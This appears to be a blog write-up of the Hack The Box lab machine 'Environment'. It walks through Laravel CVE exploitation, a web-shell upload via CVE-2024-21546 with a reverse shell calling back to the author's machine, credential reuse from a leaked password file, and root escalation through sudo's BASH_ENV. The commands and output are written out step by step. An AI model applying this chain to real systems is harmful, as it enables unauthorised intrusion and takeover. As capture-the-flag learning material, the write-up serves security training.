/home/htorquato

Assortment of random things I work on

Hack The Box - Machine Write-Up: Environment

Posted | Approx. 12 min read

$ tree .

Enumeration and Analysis

$ nmap 10.10.11.67
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
$ nmap -p22,80 -sV -sC 10.10.11.67 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap scan on port 80 failed to redirect to domain name environment.htb, so I added the domain to my /etc/hosts:

$ sudo echo "10.10.11.67  environment.htb" >> /etc/hosts
$ nmap -p22,80 -sV -sC environment.htb                  

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The target looks to be a “save the environment” themed page, with a mailing list submission at the bottom:

Landing page - Top Half

Landing page - Bottom Half

Looking at the page source code, the submission includes a anti CSRF token:

document.getElementById('mailingListForm').addEventListener('submit', async function(event) {
    event.preventDefault(); // Prevent the default form submission behavior

    const email = document.getElementById('email').value;
    const csrfToken = document.getElementsByName("_token")[0].value;
    const responseMessage = document.getElementById('responseMessage');

    try {
        const response = await fetch('/mailing', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: "email=" + email + "&_token=" + csrfToken,
        });

        if (response.ok) {
            const data = await response.json();
            responseMessage.textContent = data.message; // Display success message
            responseMessage.style.color = 'greenyellow';
        } else {
            const errorData = await response.json();
            responseMessage.textContent = errorData.message || 'An error occurred.';
            responseMessage.style.color = 'red';
        }
    } catch (error) {
        responseMessage.textContent = 'Failed to send the request.';
        responseMessage.style.color = 'red';
    }
});

I did some sqlmap scans on the email field and VHOST discovery but got nothing out of it. Looking up resource paths directly on the target domain, I made some interesting discoveries:

$ ffuf -w ~/Repos/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -ic -u http://environment.htb/FUZZ -e .php -t 500               

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://environment.htb/FUZZ
 :: Wordlist         : FUZZ: /home/kali/Repos/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 500
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

login                   [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 901ms]
index.php               [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 1247ms]
                        [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 1532ms]
storage                 [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 334ms]
upload                  [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 3304ms]
up                      [Status: 200, Size: 2125, Words: 745, Lines: 51, Duration: 3098ms]
logout                  [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 3252ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 33ms]
build                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 34ms]
mailing                 [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 3370ms]
                        [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 4962ms]
%2ejp                   [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 36ms]
:: Progress: [2547638/2547638] :: Job [1/1] :: 180 req/sec :: Duration: [4:05:48] :: Errors: 0 ::

Directly accessing the /upload page, a error screen leaking internal information is displayed:

Upload page - error leak

This tells me that the page is running on Laravel 11.30.0, and with a little Google search I was able to find…

CVE-2024-52301

According to this page. This vulnerability allows for environment manipulation on Laravel, meaning that if the code incorporates any kind of special local testing code (file upload, resource retrieval, …) it can be exploited on the prod environment.

The user @Nyamort did a great deep dive on the issue this repository. The vulnerability is due to where Laravel sources it’s environment information, by reading the --env property directly from $_SERVER['argv'], it allows the web server to overwrite these configurations.

Exploiting the login page

When forcing an error on the login attempt while specifying an environment different than the default, the page leaks back the source code from the debug stacktrace. In this case, I’m passing the invalid value “banana” to the remember parameter, which is of boolean type:

POST /login?--env=local HTTP/1.1
Host: environment.htb
...
Cookie: XSRF-TOKEN=...; laravel_session=...

_token=...&email=admin%40environment.htb&remember=banana&password=aaa

Login page - error leak

The response show that there is a authentication bypass on the environment “preprod”. Meaning that we can create an admin (assuming id 1) session token by specifying the environment.

This gives access to the management dashboard:

Management Dashboard

Exploiting the management dashboard

The management dashboard allows the user to upload a new profile picture:

Management Dashboard - Profile picture upload

When uploading a new profile picture:

  • The pictures are uploaded to /storage/files;
    • Files on this directory are not executed, just returned;
  • .php extension is blocked, but other valid variations like .pHp, .php5 are allowed;
  • The request content mime-type is not checked;
  • The file type is determine based on the file contents;
    • Magic bytes can be used to confuse the upload mechanism;
    • GIF magic bytes GIF89a cause less destruction to the code;
  • File name with path traversal is filtered;
  • File is accessed directly on img src, no include call to embed content on the page;
  • SVG mime-type is not allowed;
  • MVG mime-type is not allowed;
  • ExifTool metadata injection didn’t work.

In the end, and quick “laravel file upload exploit” Google search was all it took. CVE-2024-21546 is a vulnerability explicitly on feature from Laravel.

CVE-2024-21546

This vulnerability is due to an improper implementation of the file extension filters. This commit shows exactly the faulty regex that ignores an “.” at the end of the file extension, allowing the upload of a file named like: filename.php., making for an easy web shell. I found this repo by @ajdumanhug that provides a one liner reverse shell:

$ ./venv/bin/python CVE-2024-21546/CVE-2024-21546.py http://environment.htb/ <tun0 ip> 5000 <laravel session>
[*] Validating session...
[+] Session is valid.
[*] Fetching CSRF token...
[+] Got CSRF token: JG6XVXdxp5VJQTx4QCtwcPg1haUDfR11dSWnB5lc
[*] Uploading reverse shell...
[+] Upload status: 200
{"url":"http:\/\/environment.htb\/storage\/files\/gd2qpx.php","uploaded":"http:\/\/environment.htb\/storage\/files\/gd2qpx.php"}
[+] Triggering the reverse shell...
[+] Done. If listener is up, you should have a shell.

Establishing a foothold

When looking for useful files I was able to pinpoint the location of the user flag:

www-data@environment:~/app/storage/app/public/files$ find / -name *.txt 2>/dev/null
...
/home/hish/user.txt
www-data@environment:~/app/storage/app/public/files$ cat /home/hish/user.txt
<user flag>

I was also able to find a file called “message.txt” under the /tmp directory:

www-data@environment:~/app/storage/app/public/files$ cat /tmp/message.txt
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

Checking for password reuse with the user hish:

$ ssh [email protected] 
[email protected]'s password: 
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64

...
hish@environment:~$

I’m in 😎.

Privilege escalation

Checking for any executables with SUID:

hish@environment:~$ sudo -l 
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

Looks like that the user can execute systeminfo with sudo permissions:

hish@environment:~$ sudo systeminfo

### Displaying kernel ring buffer logs (dmesg) ###
[    4.408971] vmwgfx 0000:00:0f.0: [drm] Using command buffers with DMA pool.
[    4.408979] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[    4.410100] [drm] Initialized vmwgfx 2.20.0 20211206 for 0000:00:0f.0 on minor 0
[    4.412265] fbcon: vmwgfxdrmfb (fb0) is primary device
[    4.412729] Console: switching to colour frame buffer device 160x50
[    4.414175] vmwgfx 0000:00:0f.0: [drm] fb0: vmwgfxdrmfb frame buffer device
[    5.069654] auditfilter: audit rule for LSM 'crond_t' is invalid
[    5.069697] auditfilter: audit rule for LSM 'crond_t' is invalid
[    5.874212] vmxnet3 0000:03:00.0 eth0: intr type 3, mode 0, 3 vectors allocated
[    5.878054] vmxnet3 0000:03:00.0 eth0: NIC Link is Up 10000 Mbps

...

### Checking disk usage for all filesystems ###
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           392M  696K  391M   1% /run
/dev/sda1       3.8G  1.6G  2.1G  43% /
tmpfs           2.0G     0  2.0G   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           392M     0  392M   0% /run/user/1000

Looks to be a simple script that calls different system commands:

hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h

Understanding secure_path and env_keep

The source code for systeminfo doesn’t reference full paths to the used binaries (dmesg, tail, …), so my initial idea was to overwrite $PATH to include a reference to /tmp at the beginning. Meaning that when the system is looking for those binaries, it would start there and give me the chance to execute a file as sudo by simply naming my command the same:

hish@environment:~$ which tail
/usr/bin/tail
hish@environment:~$ echo "/bin/bash" > /tmp/tail
hish@environment:~$ which tail
/usr/bin/tail
hish@environment:~$ chmod +x /tmp/tail
hish@environment:~$ which tail
/tmp/tail

But the environment has a secure_path path setting set, meaning that this pre configured path will be used instead of the user defined path.

The downfall here is the use of the setting env_keep. This is a setting to keep the defined environment variables when preparing to run sudo (ex: using a pre-defined PATH value).

So, if I point BASH_ENV to my “malicious” executable, is will be carried over and sourced:

hish@environment:~$ export BASH_ENV=/tmp/tail
hish@environment:~$ sudo systeminfo
root@environment:/home/hish# id
uid=0(root) gid=0(root) groups=0(root)
root@environment:/home/hish# cat /root/root.txt
<root flag>

Review

This was my first medium difficulty machine, and I can say it was a very enjoyable experience. I approached it thinking it would be much harder than it really was, and I ended up going into some rabbit holes because of that. I learned how to use the “match and replace” feature from BurpSuite to avoid manually getting a new cookie every time the old one expired. And the whole post exploit fingerprinting was much easier this time due to experience.